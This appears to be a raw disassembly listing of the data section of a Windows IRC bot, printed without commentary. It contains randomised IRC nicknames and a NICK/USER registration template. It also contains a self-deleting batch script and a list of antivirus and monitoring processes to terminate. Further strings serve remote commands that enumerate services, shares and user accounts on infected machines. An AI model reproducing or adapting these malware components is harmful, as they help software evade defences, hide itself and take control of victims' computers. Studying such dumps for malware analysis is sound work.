align 10h
aQ8 db 'Q8',0 ; DATA XREF: ___:004385F4o
align 4
aSick db 'sick}}',0 ; DATA XREF: ___:004385F0o
align 4
aWiked db '|wiked|',0 ; DATA XREF: ___:004385ECo
aLuvuF db '||luvu-f|',0 ; DATA XREF: ___:004385E8o
align 10h
aGens db '{gens|',0 ; DATA XREF: ___:004385E4o
align 4
aSex_0 db '{sex}',0 ; DATA XREF: ___:004385E0o
align 10h
aHub db '{hub}',0 ; DATA XREF: ___:004385DCo
align 4
aLuck db '|luck|',0 ; DATA XREF: ___:004385D8o
align 10h
aSuck db '|suck|',0 ; DATA XREF: ___:004385D4o
align 4
aTot db '-|tot|',0 ; DATA XREF: ___:004385D0o
align 10h
aWoh db '|woh|',0 ; DATA XREF: ___:004385CCo
align 4
aTambe db '|tambe|',0 ; DATA XREF: ___:004385C8o
aLag db 'lag',0 ; DATA XREF: ___:004385C4o
aBad db 'bad',0 ; DATA XREF: ___:004385C0o
aTree db 'tree',0 ; DATA XREF: ___:004385BCo
align 10h
aZex db 'zex',0 ; DATA XREF: ___:004385B8o
aLez db 'lez',0 ; DATA XREF: ___:004385B4o
aWantedlove db 'WANTEDLOVE',0 ; DATA XREF: ___:004385ACo
align 4
aCumhur29 db 'cumhur29',0 ; DATA XREF: ___:004385A8o
align 10h
aAdamm db 'ADAMM',0 ; DATA XREF: ___:004385A4o
align 4
aMaveRIck db 'MaVe{R}icK',0 ; DATA XREF: ___:004385A0o
align 4
aPrometheus db 'prometheus',0 ; DATA XREF: ___:0043859Co
align 10h
aDallas43m db 'DALLAS43M',0 ; DATA XREF: ___:00438598o
align 4
aTeoman db 'TEOMAN```',0 ; DATA XREF: ___:00438594o
align 4
aRerpjj db 'RERPJJ',0 ; DATA XREF: ___:00438590o
align 10h
aCem39 db 'cem39',0 ; DATA XREF: ___:0043858Co
align 4
aCool30m db 'cool30m',0 ; DATA XREF: ___:00438588o
aTropikal db 'tropikal',0 ; DATA XREF: ___:00438584o
align 4
aPassenger db 'passenger',0 ; DATA XREF: ___:00438580o
align 4
aNeHaber db 'NE-HABER',0 ; DATA XREF: ___:0043857Co
align 4
aUla db 'ula',0 ; DATA XREF: ___:00438578o
aIzmirlm db 'izmirlm',0 ; DATA XREF: ___:00438574o
aAkden db 'akden',0 ; DATA XREF: ___:00438570o
align 4
aKoray db 'KORAY',0 ; DATA XREF: ___:0043856Co
align 10h
aAta29 db 'Ata29',0 ; DATA XREF: ___:00438568o
align 4
aFirtina db 'firtina',0 ; DATA XREF: ___:00438564o
aAdamm33 db 'AdAMM33',0 ; DATA XREF: ___:00438560o
aM41ist db 'M41IST',0 ; DATA XREF: ___:0043855Co
align 10h
aMaxsilla db 'maxsilla',0 ; DATA XREF: ___:00438558o
align 4
aAdem28 db 'Adem28',0 ; DATA XREF: ___:00438554o
align 4
aAnkm db 'ankM',0 ; DATA XREF: ___:00438550o
align 4
aErkan db 'erkan',0 ; DATA XREF: ___:0043854Co
align 4
aDevre db 'devre',0 ; DATA XREF: ___:00438548o
align 4
aYabanc db 'yabanc',0 ; DATA XREF: ___:00438544o
align 4
aBirsen db 'birsen',0 ; DATA XREF: ___:00438540o
align 4
aA44m db 'a44m',0 ; DATA XREF: ___:0043853Co
align 4
aAlcatras db 'alcatras',0 ; DATA XREF: ___:00438538o
align 10h
off_4389E0 dd offset byte_4B5245 ; DATA XREF: ___:00438534o
aSevda db 'sevda',0 ; DATA XREF: ___:00438530o
align 4
aKotan db 'kotan',0 ; DATA XREF: ___:0043852Co
align 4
aTegmen db 'TEGMEN',0 ; DATA XREF: ___:00438528o
align 4
aAchilles db 'Achilles',0 ; DATA XREF: ___:00438524o
align 4
aKapk db 'kapk',0 ; DATA XREF: ___:00438520o
align 10h
aAngelgirl db 'angelgirl',0 ; DATA XREF: ___:0043851Co
align 4
aHayran db 'hayran',0 ; DATA XREF: ___:00438518o
align 4
aFenerlee db 'FeNeRLee',0 ; DATA XREF: ___:00438514o
align 10h
aAnkar db 'Ankar',0 ; DATA XREF: ___:00438510o
align 4
aDjspace db 'DJSPACE',0 ; DATA XREF: ___:0043850Co
aAnk32M db 'ANK-32-M',0 ; DATA XREF: ___:00438508o
align 4
aUmut db 'umut-',0 ; DATA XREF: ___:00438504o
align 4
aAdalim db 'ADALIM',0 ; DATA XREF: ___:00438500o
align 4
aKumul db 'kumul',0 ; DATA XREF: ___:004384FCo
align 4
aUzgun36 db 'uzgun36',0 ; DATA XREF: ___:004384F8o
aSugarboy db 'SUGARBOY-',0 ; DATA XREF: ___:004384F4o
align 4
aSeviseli db 'SeViSeLi',0 ; DATA XREF: ___:004384F0o
align 4
aKashmira db 'Kashmira',0 ; DATA XREF: ___:004384ECo
align 10h
aAykut1 db 'aykut1',0 ; DATA XREF: ___:004384E8o
align 4
aSadikaellesme db 'SaDIkaEllesme',0 ; DATA XREF: ___:004384E4o
align 4
aMahinur db 'MAHINUR',0 ; DATA XREF: ___:004384E0o
aHoly db 'holy',0 ; DATA XREF: ___:004384DCo
align 4
aFlord db 'FLoRD',0 ; DATA XREF: ___:004384D8o
align 10h
aKebikec db 'kebikec',0 ; DATA XREF: ___:004384D4o
aEsmerkiz db 'Esmerkiz',0 ; DATA XREF: ___:004384D0o
align 4
aElmaazyok db 'elmaazyok',0 ; DATA XREF: ___:004384CCo
align 10h
aEmre db 'Emre--',0 ; DATA XREF: ___:004384C8o
align 4
aRamtha db 'RAMTHA',0 ; DATA XREF: ___:004384C4o
align 10h
aImirzali db 'IMIRZALI--',0 ; DATA XREF: ___:004384C0o
align 4
aHakan3 db 'hakan3',0 ; DATA XREF: ___:004384BCo
align 4
aMurat34M db 'murat34-m',0 ; DATA XREF: ___:004384B8o
align 10h
aKeyiflisert db 'keyifliSERT',0 ; DATA XREF: ___:004384B4o
aArda db 'arda',0 ; DATA XREF: ___:004384B0o
align 4
aDevran db 'devran',0 ; DATA XREF: ___:004384ACo
align 4
aBerk19m db 'Berk19m',0 ; DATA XREF: ___:004384A8o
aDenizlim db 'DenizliM',0 ; DATA XREF: ___:004384A4o
align 10h
aCongueror db 'CoNGuERoR',0 ; DATA XREF: ___:004384A0o
align 4
aAlpay34m db 'alpay34m',0 ; DATA XREF: ___:0043849Co
align 4
aBogac db 'bogac',0 ; DATA XREF: ___:00438498o
align 10h
aDonjuanm db 'Donjuanm',0 ; DATA XREF: ___:00438494o
align 4
aAnkh db 'ankh',0 ; DATA XREF: ___:00438490o
align 4
off_438B74 dd offset byte_457441 ; DATA XREF: ___:0043848Co
dword_438B78 dd 414C5941h, 2Dh ; DATA XREF: ___:00438488o
aAlbina db 'albina',0 ; DATA XREF: ___:00438484o
align 4
aIzmir39m db 'Izmir39m',0 ; DATA XREF: ___:00438480o
align 4
aZack db 'ZACK',0 ; DATA XREF: ___:0043847Co
align 4
aAnk32m db 'ank32m',0 ; DATA XREF: ___:00438478o
align 4
aTurkyy db 'turkyy',0 ; DATA XREF: ___:00438474o
align 4
aAhmet db 'ahmet',0 ; DATA XREF: ___:00438470o
align 4
aPelincik db 'pelincik',0 ; DATA XREF: ___:0043846Co
align 10h
aBlackpearl db 'blackpearl',0 ; DATA XREF: ___:00438468o
align 4
aRetg db 'RETG',0 ; DATA XREF: ___:00438464o
align 4
aSamyeli21 db 'samyeli21',0 ; DATA XREF: ___:00438460o
align 10h
aPiramit db 'PIRAMIT',0 ; DATA XREF: ___:0043845Co
aAslii db 'aslii',0 ; DATA XREF: ___:00438458o
align 10h
aErnesto db 'ERNESTO',0 ; DATA XREF: ___:00438454o
aHaticem db 'haticem',0 ; DATA XREF: ___:00438450o
aArzu db 'ARZU',0 ; DATA XREF: ___:0043844Co
align 4
aSudenur db 'SUDENUR',0 ; DATA XREF: ___:00438448o
aSevmekmi db 'sevmekmi',0 ; DATA XREF: ___:00438444o
align 4
aVenedik34 db 'venedik34',0 ; DATA XREF: ___:00438440o
align 4
aTekir db 'tekir',0 ; DATA XREF: ___:0043843Co
align 10h
aMERVE db 'M-E-R-V-E',0 ; DATA XREF: ___:00438438o
align 4
aTrend3 db 'trend3',0 ; DATA XREF: ___:00438434o
align 4
aMelekk db 'melekk',0 ; DATA XREF: ___:00438430o
align 4
aAkin db 'AKIN',0 ; DATA XREF: ___:0043842Co
align 4
aMary_0 db 'MARY',0 ; DATA XREF: ___:00438428o
align 4
aJericho db 'JERICHO',0 ; DATA XREF: ___:00438424o
aTolga34 db 'Tolga34',0 ; DATA XREF: ___:00438420o
aMisssunday db 'misssunday',0 ; DATA XREF: ___:0043841Co
align 4
aIrmal db 'irmal',0 ; DATA XREF: ___:00438418o
align 10h
aObenibisevse db 'OBeNiBiSeVSe',0 ; DATA XREF: ___:00438414o
align 10h
aBerk19 db 'berk19',0 ; DATA XREF: ___:00438410o
align 4
aHexaaa db 'hexaaa',0 ; DATA XREF: ___:0043840Co
align 10h
aErkan27 db 'erkan27',0 ; DATA XREF: ___:00438408o
aKaan38dent db 'kaan38dent',0 ; DATA XREF: ___:00438404o
align 4
aCansuuuu db 'cansuuuu',0 ; DATA XREF: ___:00438400o
align 10h
aThr45h3r5 db 'THR45H3R5',0 ; DATA XREF: ___:004383FCo
align 4
aKencing db 'Kencing',0 ; DATA XREF: ___:004383F8o
aReshma db 'reshma',0 ; DATA XREF: ___:004383F4o
align 4
aCamel db 'CAMEL',0 ; DATA XREF: ___:004383F0o
align 4
aGirl db 'GirL',0 ; DATA XREF: ___:004383ECo
align 4
aImra db 'imra',0 ; DATA XREF: ___:004383E8o
align 4
aCoredump db 'CoreDump',0 ; DATA XREF: ___:004383E4o
align 10h
aPuregold db 'puregold',0 ; DATA XREF: ___:004383E0o
align 4
aKermit db 'kermit',0 ; DATA XREF: ___:004383DCo
align 4
aManee db 'manee',0 ; DATA XREF: ___:004383D8o
align 4
aTroller db 'troller',0 ; DATA XREF: ___:004383D4o
aLuisa db 'Luisa',0 ; DATA XREF: ___:004383D0o
align 4
aNastysha db 'nastysha',0 ; DATA XREF: ___:004383CCo
align 4
aRimpy db 'rimpy',0 ; DATA XREF: ___:004383C8o
align 10h
aJanno db 'janno',0 ; DATA XREF: ___:004383C4o
align 4
aBunty db 'bunty',0 ; DATA XREF: ___:004383C0o
align 10h
aHeval db 'heval',0 ; DATA XREF: ___:004383BCo
align 4
aCme db 'cme',0 ; DATA XREF: ___:004383B8o
aMarcy db 'marcy',0 ; DATA XREF: ___:004383B4o
align 4
aTalika db 'talika',0 ; DATA XREF: ___:004383B0o
align 4
aShez db 'Shez',0 ; DATA XREF: ___:004383ACo
align 4
aKen db 'ken',0 ; DATA XREF: ___:004383A8o
aFlexster db 'flexster',0 ; DATA XREF: ___:004383A4o
align 4
aKoko db 'koko',0 ; DATA XREF: ___:004383A0o
align 4
aMale db 'male',0 ; DATA XREF: ___:0043839Co
align 4
aSwin db 'swin',0 ; DATA XREF: ___:00438398o
align 4
aCar1nna db 'Car1nna',0 ; DATA XREF: ___:00438394o
aKrizha db 'KRIZHA',0 ; DATA XREF: ___:00438390o
align 4
aEmilya db 'emilya',0 ; DATA XREF: ___:0043838Co
align 4
aBobmarley db 'BOBMARLEY',0 ; DATA XREF: ___:00438388o
align 10h
aMaxxguy db 'maxxguy',0 ; DATA XREF: ___:00438384o
aFarooq db 'farooq',0 ; DATA XREF: ___:00438380o
align 10h
aSmartmir db 'SMARTMIR',0 ; DATA XREF: ___:0043837Co
align 4
aM_0: ; DATA XREF: ___:00438378o
; ___:004386C4o
unicode 0, <M>,0
word_438DE0 dw 4Eh ; DATA XREF: sub_419E79+38r
; ___:00438374o
align 4
dword_438DE4 dd 42h ; DATA XREF: ___:00438370o
dword_438DE8 dd 56h ; DATA XREF: ___:0043836Co
dword_438DEC dd 43h ; DATA XREF: ___:00438368o
dword_438DF0 dd 58h ; DATA XREF: ___:00438364o
; ___:004386F8o
dword_438DF4 dd 5Ah ; DATA XREF: ___:00438360o
dword_438DF8 dd 4Ch ; DATA XREF: ___:0043835Co
dword_438DFC dd 4Bh ; DATA XREF: ___:00438358o
dword_438E00 dd 4Ah ; DATA XREF: ___:00438354o
dword_438E04 dd 48h ; DATA XREF: ___:00438350o
dword_438E08 dd 47h ; DATA XREF: ___:0043834Co
dword_438E0C dd 46h ; DATA XREF: ___:00438348o
; ___:004386C0o
dword_438E10 dd 44h ; DATA XREF: ___:00438344o
dword_438E14 dd 53h ; DATA XREF: ___:00438340o
dword_438E18 dd 50h ; DATA XREF: ___:00438338o
dword_438E1C dd 4Fh ; DATA XREF: ___:00438334o
dword_438E20 dd 55h ; DATA XREF: ___:0043832Co
word_438E24 dw 59h ; DATA XREF: sub_41A19D+38r
; ___:00438328o
align 4
dword_438E28 dd 54h ; DATA XREF: ___:00438324o
dword_438E2C dd 52h ; DATA XREF: ___:00438320o
dword_438E30 dd 45h ; DATA XREF: ___:0043831Co
dword_438E34 dd 57h ; DATA XREF: ___:00438318o
dword_438E38 dd 51h ; DATA XREF: ___:00438314o
dword_438E3C dd 62h ; DATA XREF: ___:00438308o
; ___:004385FCo ...
dword_438E40 dd 78h ; DATA XREF: ___:004382FCo
; ___:00438654o
dword_438E44 dd 7Ah ; DATA XREF: ___:004382F8o
; ___:0043865Co ...
dword_438E48 dd 6Ch ; DATA XREF: ___:004382F4o
; ___:00438628o
dword_438E4C dd 68h ; DATA XREF: ___:004382E8o
; ___:00438614o
dword_438E50 dd 67h ; DATA XREF: ___:004382E4o
; ___:00438610o ...
dword_438E54 dd 66h ; DATA XREF: ___:004382E0o
; ___:0043860Co
dword_438E58 dd 79h ; DATA XREF: ___:004382C4o
; ___:00438658o
dword_438E5C dd 77h ; DATA XREF: ___:004382B4o
; ___:00438650o
dword_438E60 dd 4B43494Eh, 0A732520h, 0 ; DATA XREF: sub_4177CF+B1o
dword_438E6C dd 323334h ; DATA XREF: sub_4177CF+79o
dword_438E70 dd 474E4F50h, 0A732520h, 0 ; DATA XREF: sub_4177CF+61o
aNickSUserSHotm db 'NICK %s',0Ah ; DATA XREF: sub_4178BA+9Bo
db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0
align 4
a__0 db '-|`_\{[]}',0 ; DATA XREF: sub_417ADD+BCo
; sub_417ADD+175r ...
align 4
dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0
dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dd 3000005h, 10h, 18h, 1, 3 dup(0)
; ---------------------------------------------------------------------------
mov al, 1
push edx
xchg eax, edi
retf 0D059h
; ---------------------------------------------------------------------------
db 11h
dd 0A000D5A8h, 51800DC9h, 0
dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
aSErrorSD_ db '%s Error: %s <%d>.',0 ; DATA XREF: sub_41814C+72o
align 4
aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_418293+1Co
align 4
aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_418337+2o
aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_418359+140o
align 4
a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: sub_418359+85o
db ':repeat',0Dh,0Ah
db 'del "%%1"',0Dh,0Ah
db 'if exist "%%1" goto repeat',0Dh,0Ah
db 'del "%s"',0
aSdel_bat db '%sdel.bat',0 ; DATA XREF: sub_418359+48o
align 4
unk_438FE8 db 2Dh ; - ; DATA XREF: sub_4184E1+9Co
db 3, 34h, 2
db 6Ch ; l
db 6Fh, 67h, 2
db 3
aOperatingSyste db '- operating system is not supported',0
align 4
unk_439018 db 2Dh ; - ; DATA XREF: sub_4184E1+8Fo
db 3, 34h, 2
db 6Ch ; l
db 6Fh, 67h, 2
db 3
aFailedWithErro db '- failed with error code %d',0
align 10h
dword_439040 dd 234032Dh, 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h
; DATA XREF: sub_4184E1+5Co
dd 65726165h, 64h, 0
off_439060 dd offset aAdd ; DATA XREF: sub_4186C1+60r
; sub_418A98+51r ...
; "Add"
off_439064 dd offset aAdded ; DATA XREF: sub_4186C1+2Dr
; sub_418A98+83r ...
; "Added"
dword_439068 dd 0 ; DATA XREF: sub_4186C1+18r
dd offset aDelete_0 ; "Delete"
dd offset aDeleted ; "Deleted"
align 8
dd offset aList_1 ; "List"
dd offset aListed ; "Listed"
dd 0
dd offset aStart_0 ; "Start"
dd offset aStarted ; "Started"
align 10h
dd offset aStop_0 ; "Stop"
dd offset aStopped_0 ; "Stopped"
dd 1, 4390D4h, 4390CCh, 2, 4390C0h, 4390B4h, 3, 746E6F43h
dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused db 'Paused',0
align 4
aPause_0 db 'Pause',0
align 4
aStopped_0 db 'Stopped',0 ; DATA XREF: ___:00439094o
aStop_0 db 'Stop',0 ; DATA XREF: ___:00439090o
align 4
aStarted db 'Started',0 ; DATA XREF: ___:00439088o
aStart_0 db 'Start',0 ; DATA XREF: ___:00439084o
align 4
aListed db 'Listed',0 ; DATA XREF: ___:0043907Co
align 4
aList_1 db 'List',0 ; DATA XREF: ___:00439078o
align 4
aDeleted db 'Deleted',0 ; DATA XREF: ___:00439070o
aDelete_0 db 'Delete',0 ; DATA XREF: ___:0043906Co
align 4
aAdded db 'Added',0 ; DATA XREF: ___:off_439064o
align 4
aAdd db 'Add',0 ; DATA XREF: ___:off_439060o
unk_439128 db 2Dh ; - ; DATA XREF: sub_4186C1+67o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSNoServiceSpec db '- %s: no service specified',0
unk_43914C db 2Dh ; - ; DATA XREF: sub_4186C1+51o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aErrorWithServi db '- error with service: ',27h,'%s',27h,' - %s',0
align 4
unk_439178 db 2Dh ; - ; DATA XREF: sub_4186C1+33o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSServiceS db '- %s service: ',27h,'%s',27h,0
aAnUnknownError db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_4187DD+12Co
align 4
aTheSystemIsShu db 'The system is shutting down.',0 ; DATA XREF: sub_4187DD:loc_4188F5o
align 4
aTheServiceHasN db 'The service has not been started.',0 ; DATA XREF: sub_4187DD:loc_4188EEo
align 4
aTheRequested_1 db 'The requested control code cannot be sent to the service because '
; DATA XREF: sub_4187DD:loc_4188E7o
db 'the state of the service.',0
align 4
aTheServiceHa_0 db 'The service has been marked for deletion.',0
; DATA XREF: sub_4187DD:loc_4188E0o
align 4
aTheServiceCoul db 'The service could not be logged on. The account does not have the'
; DATA XREF: sub_4187DD:loc_4188D9o
db ' correct access rights.',0
align 10h
aTheSpecified_0 db 'The specified service does not exist.',0
; DATA XREF: sub_4187DD:loc_4188D2o
align 4
aTheServiceHasB db 'The service has been disabled.',0 ; DATA XREF: sub_4187DD:loc_4188CBo
align 4
aTheServiceDe_0 db 'The service depends on another service that has failed to start.',0
; DATA XREF: sub_4187DD:loc_4188C4o
align 4
aTheServiceDepe db 'The service depends on a service that does not exist or has been '
; DATA XREF: sub_4187DD:loc_4188BDo
db 'marked for deletion.',0
align 4
aTheSpecifiedDa db 'The specified database does not exist.',0
; DATA XREF: sub_4187DD:loc_4188B6o
align 4
aAnInstanceOfTh db 'An instance of the service is already running.',0
; DATA XREF: sub_4187DD:loc_41888Bo
align 4
aTheRequested_0 db 'The requested control code is not valid, or it is unacceptable to'
; DATA XREF: sub_4187DD:loc_418884o
db ' the service.',0
align 4
aTheProcessForT db 'The process for the service was started, but it did not call Star'
; DATA XREF: sub_4187DD:loc_41887Do
db 'tServiceCtrlDispatcher.',0
align 4
aAThreadCouldNo db 'A thread could not be created for the service.',0
; DATA XREF: sub_4187DD:loc_418876o
align 4
aTheDatabaseIsL db 'The database is locked.',0 ; DATA XREF: sub_4187DD+8Fo
aTheServiceCann db 'The service cannot be stopped because other running services are '
; DATA XREF: sub_4187DD:loc_41884Bo
db 'dependent on it.',0
align 4
aTheServiceBina db 'The service binary file could not be found.',0
; DATA XREF: sub_4187DD:loc_418841o
aTheHandleDoesN db 'The handle does not have the required access right.',0
; DATA XREF: sub_4187DD:loc_418837o
aTheHandleIsInv db 'The handle is invalid.',0 ; DATA XREF: sub_4187DD:loc_41882Do
align 4
aTheRequestedCo db 'The requested control code is undefined.',0
; DATA XREF: sub_4187DD:loc_418823o
align 4
aTheSpecifiedSe db 'The specified service name is invalid.',0 ; DATA XREF: sub_4187DD+3Co
align 10h
aSSS db '%s: %s (%s)',0 ; DATA XREF: sub_41895B+EBo
aStopped db ' Stopped',0 ; DATA XREF: sub_41895B:loc_418A27o
aStarting db ' Starting',0 ; DATA XREF: sub_41895B:loc_418A20o
aStoping db ' Stoping',0 ; DATA XREF: sub_41895B:loc_418A19o
aRunning db ' Running',0 ; DATA XREF: sub_41895B:loc_418A12o
aContinuing db ' Continuing',0 ; DATA XREF: sub_41895B:loc_418A0Bo
aPausing db ' Pausing',0 ; DATA XREF: sub_41895B:loc_418A04o
aPaused_0 db ' Paused',0 ; DATA XREF: sub_41895B:loc_4189FDo
aUnknown_0 db ' Unknown',0 ; DATA XREF: sub_41895B+9Bo
aTheFollowingWi db 'The following Windows services are registered:',0
; DATA XREF: sub_41895B+25o
align 4
unk_4396CC db 2Dh ; - ; DATA XREF: sub_418A98+ACo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSNoShareSpecif db '- %s: no share specified',0
align 10h
dword_4396F0 dd 234032Dh, 274656Eh, 25202D03h, 68732073h, 3A657261h
; DATA XREF: sub_418A98+8Ao
dd 73252720h, 27h
unk_43970C db 2Dh ; - ; DATA XREF: sub_418A98+58o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSErrorWithShar db '- %s: error with share: ',27h,'%s',27h,' - %s',0
align 4
a14s24s6u4s db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_418C8E+D0o
align 10h
aNo db 'No',0 ; DATA XREF: sub_418C8E+BCo
align 4
aYes db 'Yes',0 ; DATA XREF: sub_418C8E+B5o
unk_439758 db 2Dh ; - ; DATA XREF: sub_418C8E+76o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aShareListError db '- share list error %s <%ld>',0
align 10h
aShareNameResou db 'Share name: Resource: Uses: Desc:',0
; DATA XREF: sub_418C8E+26o
align 4
unk_4397B8 db 2Dh ; - ; DATA XREF: sub_418DAF+B7o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSNoUsernameSpe db '- %s: no username specified',0
align 10h
unk_4397E0 db 2Dh ; - ; DATA XREF: sub_418DAF+95o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSErrorWithUser db '- %s: error with username: ',27h,'%s',27h,' - %s',0
align 10h
unk_439810 db 2Dh ; - ; DATA XREF: sub_418DAF+6Do
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSUsernameS db '- %s username: ',27h,'%s',27h,0
align 10h
unk_439830 db 2Dh ; - ; DATA XREF: sub_418EF6+3AFo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aUserInfoErrorL db '- user info error <%ld>',0
align 4
aUnitsPerWeekD db 'Units Per Week: %d',0 ; DATA XREF: sub_418EF6+385o
align 4
aMax_StorageD db 'Max. Storage: %d',0 ; DATA XREF: sub_418EF6+35Ao
align 4
aUserSLanguageD db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_418EF6+32Fo
aCountryCodeD db 'Country Code: %d',0 ; DATA XREF: sub_418EF6+304o
align 4
aWorkstationsS db 'Workstations: %S',0 ; DATA XREF: sub_418EF6+2D9o
align 4
aLogonServerS db 'Logon Server: %S',0 ; DATA XREF: sub_418EF6+2AEo
align 4
aLastLogoffD db 'Last Logoff: %d',0 ; DATA XREF: sub_418EF6+283o
aLastLogonD db 'Last Logon: %d',0 ; DATA XREF: sub_418EF6+258o
align 4
aNumberOfLogins db 'Number of Logins: %d',0 ; DATA XREF: sub_418EF6+22Do
align 4
aBadPasswordCou db 'Bad Password Count: %d',0 ; DATA XREF: sub_418EF6+202o
align 4
aPasswordAgeD db 'Password Age: %d',0 ; DATA XREF: sub_418EF6+1D7o
align 10h
aParametersS db 'Parameters: %S',0 ; DATA XREF: sub_418EF6+1ACo
align 10h
aHomeDirectoryS db 'Home Directory: %S',0 ; DATA XREF: sub_418EF6+181o
align 4
aAuthFlagsD db 'Auth Flags: %d',0 ; DATA XREF: sub_418EF6+156o
align 4
aPrivilegeLevel db 'Privilege Level: %s',0 ; DATA XREF: sub_418EF6+12Bo
aGuest db 'Guest',0 ; DATA XREF: sub_418EF6:loc_419015o
align 10h
aUser_1 db 'User',0 ; DATA XREF: sub_418EF6:loc_41900Eo
align 4
aAdministrator db 'Administrator',0 ; DATA XREF: sub_418EF6:loc_419007o
align 4
aCommentS db 'Comment: %S',0 ; DATA XREF: sub_418EF6+DAo
aUserCommentS db 'User Comment: %S',0 ; DATA XREF: sub_418EF6+AFo
align 4
aFullNameS db 'Full Name: %S',0 ; DATA XREF: sub_418EF6+84o
align 4
aAccountS db 'Account: %S',0 ; DATA XREF: sub_418EF6+50o
aTotalUsersFoun db 'Total users found: %d.',0 ; DATA XREF: sub_4192DF+14Fo
align 4
unk_4399EC db 2Dh ; - ; DATA XREF: sub_4192DF+F7o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aAnAccessViolat db '- an access violation has occured',0
align 4
aS_4 db ' %S',0 ; DATA XREF: sub_4192DF+BEo
align 10h
unk_439A20 db 2Dh ; - ; DATA XREF: sub_4192DF+7Ao
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aUserListErrorS db '- user list error %s <%ld>',0
aUsernameAccoun db 'Username accounts for local system:',0 ; DATA XREF: sub_4192DF+29o
aNetworkConnect db 'Network connection not found.',0 ; DATA XREF: sub_41945F:loc_41957Co
align 4
aTheUserNameCou db 'The user name could not be found.',0 ; DATA XREF: sub_41945F:loc_419575o
align 4
aShareNotFound_ db 'Share not found.',0 ; DATA XREF: sub_41945F:loc_41956Eo
align 10h
aTheComputerNam db 'The computer name is invalid.',0 ; DATA XREF: sub_41945F:loc_419567o
align 10h
aAnUnknownErr_0 db 'An unknown error occurred.',0 ; DATA XREF: sub_41945F:loc_419560o
align 4
aThePasswordIsS db 'The password is shorter than required (or does not meet the passw'
; DATA XREF: sub_41945F:loc_419543o
db 'ord policy requirement.)',0
align 4
aTheGroupAlread db 'The group already exists.',0 ; DATA XREF: sub_41945F:loc_41953Co
align 4
aTheUserAccount db 'The user account already exists.',0 ; DATA XREF: sub_41945F:loc_419535o
align 4
aTheOperationIs db 'The operation is allowed only on the primary domain controller of'
; DATA XREF: sub_41945F+CFo
db ' the domain.',0
align 4
aAGeneralFailur db 'A general failure occurred in the network hardware.',0
; DATA XREF: sub_41945F:loc_41950Ao
aLevelParameter db 'Level parameter is invalid.',0 ; DATA XREF: sub_41945F:loc_419503o
aDeviceOrDirect db 'Device or directory does not exist.',0
; DATA XREF: sub_41945F:loc_4194FCo
aInvalidForRedi db 'Invalid for redirected resource.',0 ; DATA XREF: sub_41945F:loc_4194F2o
align 10h
aDuplicateShare db 'Duplicate share name.',0 ; DATA XREF: sub_41945F+89o
align 4
aTheNameIsInval db 'The name is invalid.',0 ; DATA XREF: sub_41945F:loc_4194CCo
align 10h
aAccessDenied_ db 'Access denied.',0 ; DATA XREF: sub_41945F:loc_4194C2o
align 10h
aNotEnoughMemor db 'Not enough memory.',0 ; DATA XREF: sub_41945F:loc_4194B8o
align 4
aThisNetworkReq db 'This network request is not supported.',0
; DATA XREF: sub_41945F:loc_4194AEo
align 4
aServerNameNotF db 'Server name not found.',0 ; DATA XREF: sub_41945F:loc_4194A4o
align 4
aInvalidParamet db 'Invalid parameter.',0 ; DATA XREF: sub_41945F+3Bo
align 4
dword_439D28 dd 234032Dh, 274656Eh, 25202D03h, 34032073h, 76726553h
; DATA XREF: sub_419593+ABo
dd 3A037265h, 20532520h, 654D3403h, 67617373h, 203A0365h
dd 5325h
unk_439D54 db 2Dh ; - ; DATA XREF: sub_419593+81o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aMessageSentSuc db '- message sent successfully',0
align 4
dd 7530h
off_439D80 dd offset aRegedit_exe ; DATA XREF: sub_4196BC+CBo
; "regedit.exe"
dd offset aMsconfig_exe ; "msconfig.exe"
dd offset aNetstat_exe ; "netstat.exe"
dd offset aMsblast_exe ; "msblast.exe"
dd offset aZapro_exe ; "zapro.exe"
dd offset aNavw32_exe ; "navw32.exe"
dd offset aNavapw32_exe ; "navapw32.exe"
dd offset aZonealarm_exe ; "zonealarm.exe"
dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe"
dd offset aPandaavengine_ ; "PandaAVEngine.exe"
dd offset dword_439E88
dd offset dword_439E7C
dd offset dword_439E70
dd offset dword_439E64
dd offset dword_439E58
dd offset dword_439E4C
dd offset dword_439E3C
dd offset dword_439E30
dd offset dword_439E24
dd offset dword_439E18
dd offset dword_439E0C
dd offset dword_439DFC
dd offset dword_439DF0
dd offset dword_439DE0
dword_439DE0 dd 72313169h, 346E3435h, 6578652Eh, 0 ; DATA XREF: sub_4196BC+ECo
; ___:00439DDCo
dword_439DF0 dd 6E757269h, 78652E34h, 65h ; DATA XREF: ___:00439DD8o
dword_439DFC dd 75643364h, 74616470h, 78652E65h, 65h ; DATA XREF: ___:00439DD4o
dword_439E0C dd 65746172h, 6578652Eh, 0 ; DATA XREF: ___:00439DD0o
